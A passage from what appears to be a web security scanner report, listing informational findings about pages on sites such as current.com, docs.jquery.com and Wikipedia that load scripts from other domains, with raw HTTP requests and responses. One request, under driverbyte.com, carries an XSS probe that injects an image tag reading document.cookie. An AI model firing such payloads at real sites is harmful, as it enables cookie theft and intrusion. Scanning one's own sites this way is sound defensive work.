Content-Type: text/html; charset=utf-8
Content-Length: 21197
Date: Sat, 05 Feb 2011 21:51:00 GMT
X-Varnish: 678218673 678204537
Age: 86
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:cc="http://creativecommons.org/ns#"

...[SNIP]...
</script>

<script type="text/javascript" src="http://yui.yahooapis.com/2.6.0/build/yahoo-dom-event/yahoo-dom-event.js">
</script>
<script type="text/javascript" src="http://yui.yahooapis.com/2.6.0/build/connection/connection-min.js">
</script>
<script type="text/javascript" src="http://yui.yahooapis.com/2.6.0/build/json/json-min.js">
</script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://yui.yahooapis.com/2.6.0/build/container/container-min.js">
</script>
...[SNIP]...

21.16. http://current.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://current.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=1;pos=Bottom;wmode=transparent;sz=1x1;ord=49985545?
http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=2;pos=Right;wmode=transparent;sz=300x250;ord=49985545?
http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=3;pos=Right1;wmode=transparent;sz=300x110;ord=49985545?
http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=4;pos=TopEdge;wmode=transparent;sz=728x90;ord=49985545?

Request

GET / HTTP/1.1
Host: current.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:42:44 GMT
Server: Apache
X-Powered-By: PHP/5.2.12
Cache-Control: max-age=0, s-maxage=300, stale-while-revalidate=600, stale-if-error=1800
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Age: 278
Content-Length: 154048
X-Cache: HIT from current.com
X-Cache-Lookup: HIT from current.com:3128
Via: 1.0 current.com:3128 (squid)
Connection: close
Keep-Alive: timeout=30, max=100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<div id="ad_Bottom_56777832" style="width: 1px; height: 1px; overflow: hidden;">
   <script type="text/javascript" src="http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=1;pos=Bottom;wmode=transparent;sz=1x1;ord=49985545?"></script>
...[SNIP]...
<div id="loadAd_Right_19901778" style=" display: none;">
               <script type="text/javascript" src="http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=2;pos=Right;wmode=transparent;sz=300x250;ord=49985545?"></script>
...[SNIP]...
<div id="loadAd_Right1_51567395" style="width: 300px; height: 110px; overflow: hidden; display: none;">
               <script type="text/javascript" src="http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=3;pos=Right1;wmode=transparent;sz=300x110;ord=49985545?"></script>
...[SNIP]...
<div id="loadAd_TopEdge_55269530" style=" display: none;">
               <script type="text/javascript" src="http://ad.doubleclick.net/adj/curtv.current/homepage;page=homepage;abr=!webtv;tag=adj;tile=4;pos=TopEdge;wmode=transparent;sz=728x90;ord=49985545?"></script>
...[SNIP]...

21.17. http://dailyme.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dailyme.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js
http://edge.quantserve.com/quant.js
http://static.addtoany.com/menu/page.js
http://static.newstogram.com/dailyme/js/histogram.js
http://static.newstogram.com/dailyme/toolbar/toolbar.js

Request

GET / HTTP/1.1
Host: dailyme.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:24 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.5
Set-Cookie: DMSession=mta7v9iqenkhb3clgekkekl847; expires=Wed, 06-Feb-2036 04:47:24 GMT; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: CakeCookie[DMWelcome]=1296946044; expires=Mon, 07-Mar-2011 22:47:24 GMT; path=/
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 43921

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http:
...[SNIP]...
<link href="/img/favicon.ico" type="image/x-icon" rel="shortcut icon" /><script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://static.newstogram.com/dailyme/js/histogram.js"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...


<script type="text/javascript" src="http://static.newstogram.com/dailyme/toolbar/toolbar.js"></script>
...[SNIP]...

21.18. http://dean.edwards.name/weblog/2006/03/base/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dean.edwards.name
Path:	/weblog/2006/03/base/

Issue detail

The response dynamically includes the following script from another domain:

http://deanedwardsoffline.appspot.com/js/my.js

Request

GET /weblog/2006/03/base/ HTTP/1.1
Host: dean.edwards.name
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:18 GMT
Server: Apache/2.2.6 (Win32) PHP/5.2.5
X-Powered-By: PHP/5.2.5
X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php
Link: <http://dean.edwards.name/weblog/?p=66>; rel=shortlink
Expires: Sun, 06 Feb 2011 16:04:18 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 176038

<!doctype html>
<html>
<head>
<title>Dean Edwards: A Base Class for JavaScript Inheritance</title>
<meta name="author" content="Dean Edwards">
<link rel="styleshe
...[SNIP]...
<link rel="icon" href="/favicon.ico" type="image/x-icon">
<script src="http://deanedwardsoffline.appspot.com/js/my.js"></script>
...[SNIP]...

21.19. http://developer.yahoo.com/yui/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developer.yahoo.com
Path:	/yui/

Issue detail

The response dynamically includes the following scripts from other domains:

http://d.yimg.com/mi/ywa.js
http://l.yimg.com/a/combo?ydn/site/ydn-105031.js
http://l.yimg.com/d/lib/rt/rto1_78.js
http://yui.yahooapis.com/combo?2.5.2/build/yahoo-dom-event/yahoo-dom-event.js&2.5.2/build/container/container-min.js&2.5.2/build/menu/menu-min.js&2.5.2/build/element/element-beta-min.js&2.5.2/build/button/button-min.js&3.2.0/build/yui/yui-min.js

Request

GET /yui/ HTTP/1.1
Host: developer.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:01 GMT
Set-Cookie: B=bgfp9s16kthjh&b=3&s=lg; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Cache-Control: private
Content-Length: 29605

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="descr
...[SNIP]...
</div>

<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.5.2/build/yahoo-dom-event/yahoo-dom-event.js&2.5.2/build/container/container-min.js&2.5.2/build/menu/menu-min.js&2.5.2/build/element/element-beta-min.js&2.5.2/build/button/button-min.js&3.2.0/build/yui/yui-min.js"></script>

<script type="text/javascript" src="http://l.yimg.com/a/combo?ydn/site/ydn-105031.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://d.yimg.com/mi/ywa.js"></script>
...[SNIP]...
</html>

<script type="text/javascript"src="http://l.yimg.com/d/lib/rt/rto1_78.js"></script>
...[SNIP]...

21.20. http://developer.yahoo.com/yui/license.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developer.yahoo.com
Path:	/yui/license.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://d.yimg.com/mi/ywa.js
http://l.yimg.com/a/combo?ydn/site/ydn-105031.js
http://l.yimg.com/d/lib/rt/rto1_78.js
http://yui.yahooapis.com/combo?2.5.2/build/yahoo-dom-event/yahoo-dom-event.js&2.5.2/build/container/container-min.js&2.5.2/build/menu/menu-min.js&2.5.2/build/element/element-beta-min.js&2.5.2/build/button/button-min.js&3.2.0/build/yui/yui-min.js

Request

GET /yui/license.html HTTP/1.1
Host: developer.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:01 GMT
Set-Cookie: B=akvfcul6kthjh&b=3&s=mo; expires=Tue, 06-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Cache-Control: private
Content-Length: 22176

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="descr
...[SNIP]...
</div>

<script type="text/javascript" src="http://yui.yahooapis.com/combo?2.5.2/build/yahoo-dom-event/yahoo-dom-event.js&2.5.2/build/container/container-min.js&2.5.2/build/menu/menu-min.js&2.5.2/build/element/element-beta-min.js&2.5.2/build/button/button-min.js&3.2.0/build/yui/yui-min.js"></script>

<script type="text/javascript" src="http://l.yimg.com/a/combo?ydn/site/ydn-105031.js"></script>
...[SNIP]...

<script type="text/javascript" src="http://d.yimg.com/mi/ywa.js"></script>
...[SNIP]...
</html>

<script type="text/javascript"src="http://l.yimg.com/d/lib/rt/rto1_78.js"></script>
...[SNIP]...

21.21. http://digg.com/submit previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The response dynamically includes the following scripts from other domains:

http://cdn1.diggstatic.com/js/common/fb_loader.4050a241.js
http://cdn3.diggstatic.com/js/Omniture/omniture.6c48dd51.js
http://cdn3.diggstatic.com/js/lib.56731306.js

Request

GET /submit HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:17 GMT
Server: Apache
X-Powered-By: PHP/5.2.9-digg8
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Set-Cookie: traffic_control=1168415921484595456%3A180; expires=Mon, 07-Feb-2011 16:01:17 GMT; path=/; domain=digg.com
Set-Cookie: d=706268b26d50b56ff990b1e51250b8f162ce88de7b3b2a5662d7a11ef0986e8f; expires=Sat, 06-Feb-2021 02:08:57 GMT; path=/; domain=.digg.com
X-Digg-Time: D=20834 10.2.130.24
Vary: Accept-Encoding
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 7632

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Digg
- Submit a link
</title>

<meta name="keywords" content="Digg, pictures, breaking news, entertainment, politics
...[SNIP]...
</div>
<script src="http://cdn1.diggstatic.com/js/common/fb_loader.4050a241.js" type="text/javascript"></script>
...[SNIP]...
</div>
<script src="http://cdn3.diggstatic.com/js/lib.56731306.js" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://cdn3.diggstatic.com/js/Omniture/omniture.6c48dd51.js" type="text/javascript"></script>
...[SNIP]...

21.22. http://docs.jquery.com/Plugins/Validation previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://docs.jquery.com
Path:	/Plugins/Validation

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js

Request

GET /Plugins/Validation HTTP/1.1
Host: docs.jquery.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:20 GMT
Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1
X-Powered-By: PHP/5.2.3-1+lenny1
Vary: Accept-Encoding,Cookie
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Last-modified: Mon, 31 Jan 2011 21:54:34 GMT
Content-language: en
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 54082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
       <meta http-equiv="con
...[SNIP]...
<![endif]-->

       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...

21.23. http://docs.jquery.com/UI previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://docs.jquery.com
Path:	/UI

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js

Request

GET /UI HTTP/1.1
Host: docs.jquery.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:07 GMT
Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1
X-Powered-By: PHP/5.2.3-1+lenny1
Vary: Accept-Encoding,Cookie
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Last-modified: Mon, 31 Jan 2011 21:54:34 GMT
Content-language: en
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19643

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
       <meta http-equiv="con
...[SNIP]...
<![endif]-->

       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...

21.24. http://docs.jquery.com/UI/Datepicker previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://docs.jquery.com
Path:	/UI/Datepicker

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js

Request

GET /UI/Datepicker HTTP/1.1
Host: docs.jquery.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:18 GMT
Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1
X-Powered-By: PHP/5.2.3-1+lenny1
Content-language: en
Vary: Accept-Encoding,Cookie
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Last-modified: Mon, 31 Jan 2011 21:54:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 95300

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
       <meta http-equiv="con
...[SNIP]...
<![endif]-->

       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...

21.25. http://docs.jquery.com/UI/Tabs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://docs.jquery.com
Path:	/UI/Tabs

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js

Request

GET /UI/Tabs HTTP/1.1
Host: docs.jquery.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:18 GMT
Server: Apache/2.2.8 (Debian) PHP/5.2.3-1+lenny1
X-Powered-By: PHP/5.2.3-1+lenny1
Content-language: en
Vary: Accept-Encoding,Cookie
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: private, must-revalidate, max-age=0
Last-modified: Mon, 31 Jan 2011 21:54:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 65437

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
   <head>
       <meta http-equiv="con
...[SNIP]...
<![endif]-->

       <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js"></script>
...[SNIP]...

21.26. http://driverbyte.com/a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://driverbyte.com
Path:	/a

Issue detail

The response dynamically includes the following script from another domain:

http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js

Request

GET /a HTTP/1.1
Host: driverbyte.com
Proxy-Connection: keep-alive
Referer: http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload72968%22%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3Ea36cb148e37
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx
Date: Sat, 05 Feb 2011 21:47:55 GMT
Content-Type: text/html
Connection: keep-alive
Last-Modified: Sat, 05 Feb 2011 21:47:55 GMT
Expires: Sun, 27 Jul 1997 05:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: rngine/2.x optimized/cached
Content-Length: 1667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>
<head>
<title>404 Not Found</title>
<meta http-equiv="Content-Type" content="
...[SNIP]...
</script>
<script type="text/javascript"
src="http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js"></script>
...[SNIP]...

21.27. http://driverbyte.com/download-ga-81845gv-gigabyte-vga-driver_freedownload previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://driverbyte.com
Path:	/download-ga-81845gv-gigabyte-vga-driver_freedownload

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /download-ga-81845gv-gigabyte-vga-driver_freedownload HTTP/1.1
Host: driverbyte.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 21:46:30 GMT
Content-Type: text/html
Connection: close
Last-Modified: Sat, 05 Feb 2011 21:46:11 GMT
Expires: Sun, 27 Jul 1997 05:00:00 GMT
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Powered-By: rngine/2.x optimized/cached
Content-Length: 18050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Download ga 81845
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.28. https://ebus.ota.org/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://ebus.ota.org
Path:	/default.aspx

Issue detail

The response dynamically includes the following script from another domain:

https://seal.networksolutions.com/siteseal/javascript/siteseal.js

Request

GET /default.aspx?tabid=168&appl_code=MEMBERS HTTP/1.1
Host: ebus.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.29. http://en.wikipedia.org/wiki/MIT_License previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://en.wikipedia.org
Path:	/wiki/MIT_License

Issue detail

The response dynamically includes the following scripts from other domains:

http://bits.wikimedia.org/skins-1.5/common/ajax.js?283-19
http://bits.wikimedia.org/skins-1.5/common/jquery.min.js?283-19
http://bits.wikimedia.org/skins-1.5/common/mwsuggest.js?283-19
http://bits.wikimedia.org/skins-1.5/common/wikibits.js?283-19
http://bits.wikimedia.org/w/extensions/UsabilityInitiative/Vector/Vector.combined.min.js?283-19
http://bits.wikimedia.org/w/extensions/UsabilityInitiative/js/plugins.combined.min.js?283-19
http://bits.wikimedia.org/w/extensions/WikimediaMobile/MobileRedirect.js?2.2
http://geoiplookup.wikimedia.org/

Request

GET /wiki/MIT_License HTTP/1.1
Host: en.wikipedia.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 05:54:42 GMT
Server: Apache
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate
Content-Language: en
Vary: Accept-Encoding,Cookie
Last-Modified: Wed, 02 Feb 2011 13:11:14 GMT
Content-Length: 61779
Content-Type: text/html; charset=UTF-8
Age: 60851
X-Cache: HIT from sq62.wikimedia.org
X-Cache-Lookup: HIT from sq62.wikimedia.org:3128
X-Cache: MISS from sq77.wikimedia.org
X-Cache-Lookup: MISS from sq77.wikimedia.org:80
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" dir="ltr">
<head>
<title>
...[SNIP]...
</script><script src="http://bits.wikimedia.org/skins-1.5/common/wikibits.js?283-19" type="text/javascript"></script>
<script type="text/javascript" src="http://bits.wikimedia.org/skins-1.5/common/jquery.min.js?283-19"></script>
<script src="http://bits.wikimedia.org/skins-1.5/common/ajax.js?283-19" type="text/javascript"></script>
<script src="http://bits.wikimedia.org/skins-1.5/common/mwsuggest.js?283-19" type="text/javascript"></script>
<script src="http://bits.wikimedia.org/w/extensions/WikimediaMobile/MobileRedirect.js?2.2" type="text/javascript"></script>
<script src="http://bits.wikimedia.org/w/extensions/UsabilityInitiative/js/plugins.combined.min.js?283-19" type="text/javascript"></script>
<script src="http://bits.wikimedia.org/w/extensions/UsabilityInitiative/Vector/Vector.combined.min.js?283-19" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://geoiplookup.wikimedia.org/"></script>
...[SNIP]...

21.30. http://etfdb.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://etfdb.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://go.accmgr.com/seg?add=84632&t=1
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://partner.googleadservices.com/gampad/google_service.js

Request

GET / HTTP/1.1
Host: etfdb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:04 GMT
Server: Apache
X-Powered-By: W3 Total Cache/0.9.1.3
Set-Cookie: PHPSESSID=gjvvrs2l67ha5pldm6dmbvpve3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-UA-Compatible: IE=EmulateIE7
X-Pingback: http://etfdb.com/xmlrpc.php
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 35439

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head profile="http://
...[SNIP]...

<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

<script src="http://go.accmgr.com/seg?add=84632&t=1" type="text/javascript"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

21.31. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The response dynamically includes the following scripts from other domains:

http://cti.w55c.net/ct/ct-9a1aa4d008a54ee8b25fb4f525313bcc.js?
http://edge.quantserve.com/quant.js

Request

Response

21.32. http://funp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://funp.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://tw.js.webmaster.yahoo.com/199350/ystat.js
http://www.google-analytics.com/ga.js

Request

GET / HTTP/1.1
Host: funp.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.33. http://fussballmania.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fussballmania.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: fussballmania.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:10 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: phpbb3_cjiiy_u=1; expires=Mon, 06-Feb-2012 16:04:10 GMT; path=/; domain=.fussballmania.com; HttpOnly
Set-Cookie: phpbb3_cjiiy_k=; expires=Mon, 06-Feb-2012 16:04:10 GMT; path=/; domain=.fussballmania.com; HttpOnly
Set-Cookie: phpbb3_cjiiy_sid=e24587447c5801c4ef3bac550d53bd0e; expires=Mon, 06-Feb-2012 16:04:10 GMT; path=/; domain=.fussballmania.com; HttpOnly
Cache-Control: private, no-cache="set-cookie"
Expires: 0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 32808

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de" xml:lang="de">
<head>

<met
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.34. http://getclicky.com/106253 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://getclicky.com
Path:	/106253

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js
http://maps.google.com/maps?file=api&v=2&key=ABQIAAAAD5Jstda2eJFaCFTWu7X56xRiGe9y_5r1Y57_b5Ulrkj1HY5QKxTHQW20rhZrqf_DvfkLJEXsmPsWIw

Request

GET /106253 HTTP/1.1
Host: getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:51:05 GMT
Server: Apache
P3P: CP='NOI DSP COR CUR OUR NID NOR'
